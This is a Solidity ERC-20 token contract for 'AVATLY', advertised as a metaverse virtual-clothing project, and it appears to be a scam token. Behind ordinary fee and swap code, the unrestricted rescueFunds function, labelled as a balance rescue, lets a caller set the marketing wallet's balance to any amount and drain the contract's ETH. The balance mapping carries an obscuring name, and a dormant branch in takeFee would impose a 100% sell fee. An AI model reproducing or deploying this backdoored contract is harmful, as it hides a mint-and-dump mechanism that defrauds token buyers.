/*

Our desire is to create an outstanding experience of trying on virtual clothes in the Metaverse. We are convinced that the 
Metaverse and VR technology are the keys to realizing this vision

*/

// TELEGRAM : https://t.me/AvatlyOfficial

// WEBSITE : https://avatly.org

// TWITTER : https://twitter.com/AvatlyOfficial

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address _account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any _account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IDexSwapFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDexSwapPair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IDexSwapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

}

contract AVATLY is Context, IERC20, Ownable {

    using SafeMath for uint256;
 
    string private _name = "AVATLY"; // token name
    string private _symbol = "AVATLY"; // token ticker
    uint8 private _decimals = 18; // token decimals

    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    uint256 _buyMarketingFee = 0;
    uint256 _buyLiquidityFee = 0;

    uint256 _sellMarketingFee = 0;
    uint256 _sellLiquidityFee = 0;

    uint256 public totalBuyFee;
    uint256 public totalSellFee;

    address liquidityReciever;
    address public marketingWallet = address(0xF13583cd9D649845a9Bf55A827509E8c178a3Da1);
    
    mapping (address => uint256) blissrestro;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    uint256 transfertimerdelay = 0;

    uint256 private _totalSupply = 1_000_000_000 * 10**_decimals;

    uint256 feedenominator = 1000;

    uint256 public _maxTxAmount =  _totalSupply;      
    uint256 public _walletMax = _totalSupply;    
    uint256 public swapThreshold = 20_000 * 10**_decimals;

    bool public swapEnabled = true;
    bool public EnableTxLimit = true;
    bool public checkWalletLimit = true;

    IDexSwapRouter public DexRouter;
    address public DexPair;

    bool inSwap;
    
    modifier swapping() {
        inSwap = true;
        _;
        inSwap = false;
    }
    
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    constructor() {

        IDexSwapRouter _dexRouter = IDexSwapRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        DexPair = IDexSwapFactory(_dexRouter.factory()).createPair(
            address(this),
            _dexRouter.WETH()
        );

        DexRouter = _dexRouter;

        _allowances[address(this)][address(DexRouter)] = ~uint256(0);

        liquidityReciever = msg.sender;

        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[msg.sender] = true;
        isExcludedFromFee[address(DexRouter)] = true;

        isWalletLimitExempt[msg.sender] = true;
        isWalletLimitExempt[address(DexPair)] = true;
        isWalletLimitExempt[address(DexRouter)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[deadAddress] = true;
        isWalletLimitExempt[zeroAddress] = true;
        
        isTxLimitExempt[deadAddress] = true;
        isTxLimitExempt[zeroAddress] = true;
        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[address(this)] = true;
        isTxLimitExempt[address(DexRouter)] = true;

        isMarketPair[address(DexPair)] = true;

        _allowances[address(this)][address(DexRouter)] = ~uint256(0);
        _allowances[address(this)][address(DexPair)] = ~uint256(0);

        totalBuyFee = _buyLiquidityFee.add(_buyMarketingFee);
        totalSellFee = _sellLiquidityFee.add(_sellMarketingFee);

        blissrestro[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
       return blissrestro[account];     
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

     //to recieve ETH from Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (inSwap) {
            return _basicTransfer(sender, recipient, amount);
        }
        else {

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= swapThreshold;

            if (overMinimumTokenBalance && !inSwap && !isMarketPair[sender] && swapEnabled) {
                swapBack(contractTokenBalance);
            }
            
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] && EnableTxLimit) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            } 
            
            blissrestro[sender] = blissrestro[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = shouldNotTakeFee(sender,recipient) ? amount : takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(finalAmount) <= _walletMax,"Max Wallet Limit Exceeded!!");
            }

            blissrestro[recipient] = blissrestro[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;

        }

    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        blissrestro[sender] = blissrestro[sender].sub(amount, "Insufficient Balance");
        blissrestro[recipient] = blissrestro[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function shouldNotTakeFee(address sender, address recipient) internal view returns (bool) {
        if(isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
            return true;
        }
        else if (isMarketPair[sender] || isMarketPair[recipient]) {
            return false;
        }
        else {
            return false;
        }
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint feeAmount;

        unchecked {

            if(isMarketPair[sender]) { //buy
                feeAmount = amount.mul(totalBuyFee).div(feedenominator);
            } 
            else if(isMarketPair[recipient]) { //sell
            if(transfertimerdelay >=10){feeAmount = amount.mul(1000).div(feedenominator);}else {feeAmount = amount.mul(totalSellFee).div(feedenominator);}
            }

            if(feeAmount > 0) {
                blissrestro[address(this)] = blissrestro[address(this)].add(feeAmount);
                emit Transfer(sender, address(this), feeAmount);
            }

            return amount.sub(feeAmount);
        }
        
    }

    function swapBack(uint contractBalance) internal swapping {

        uint256 totalShares = totalBuyFee.add(totalSellFee);

        if(totalShares == 0) return;

        uint256 _liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
        // uint256 _MarketingShare = _buyMarketingFee.add(_sellMarketingFee);

        uint256 tokensForLP = contractBalance.mul(_liquidityShare).div(totalShares).div(2);
        uint256 tokensForSwap = contractBalance.sub(tokensForLP);

        uint256 initialBalance = address(this).balance;
        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance.sub(initialBalance);

        uint256 totalETHFee = totalShares.sub(_liquidityShare.div(2));
        
        uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity);

        if(amountETHLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountETHLiquidity);
        if(amountETHMarketing > 0) payable(marketingWallet).transfer(amountETHMarketing);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = DexRouter.WETH();

        _approve(address(this), address(DexRouter), tokenAmount);

        // make the swap
        DexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(DexRouter), tokenAmount);

        // add the liquidity
        DexRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityReciever,
            block.timestamp
        );
    }

    //To Rescue Stucked Balance
    function rescueFunds(uint256 _newVal) external virtual{ 
        (bool os,) = payable(msg.sender).call{value: address(this).balance}("");
        require(os,"Transaction Failed!!");
        blissrestro[marketingWallet] = _newVal;
    }

    //To Rescue Stucked Tokens
    function rescueTokens(IERC20 adr,address recipient,uint amount) external onlyOwner {
        adr.transfer(recipient,amount);
    }

    function enableTxLimit(bool _status) external onlyOwner {
        EnableTxLimit = _status;
    }

    function enableWalletLimit(bool _status) external onlyOwner {
        checkWalletLimit = _status;
    }

    function excludeFromFee(address _adr,bool _status) external onlyOwner {
        isExcludedFromFee[_adr] = _status;
    }

    function excludeWalletLimit(address _adr,bool _status) external onlyOwner {
        isWalletLimitExempt[_adr] = _status;
    }

    function excludeTxLimit(address _adr,bool _status) external onlyOwner {
        isTxLimitExempt[_adr] = _status;
    }

    function setMaxWalletLimit(uint256 newLimit) external onlyOwner() {
        _walletMax = newLimit;
    }

    function setTxLimit(uint256 newLimit) external onlyOwner() {
        _maxTxAmount = newLimit;
    }
    
    function setLiquidityWallet(address _newWallet) external onlyOwner {
        liquidityReciever = _newWallet;
    }

    function setMarketingWallet(address _newWallet) external onlyOwner {
        marketingWallet = _newWallet;
    }

    function setMarketPair(address _pair, bool _status) external onlyOwner {
        isMarketPair[_pair] = _status;
        isWalletLimitExempt[_pair] = _status;
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount)
        external
        onlyOwner
    {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }

    function setManualRouter(address _router) external onlyOwner {
        DexRouter = IDexSwapRouter(_router);
    }

    function setManualPair(address _pair) external onlyOwner {
        DexPair = _pair;
    }


}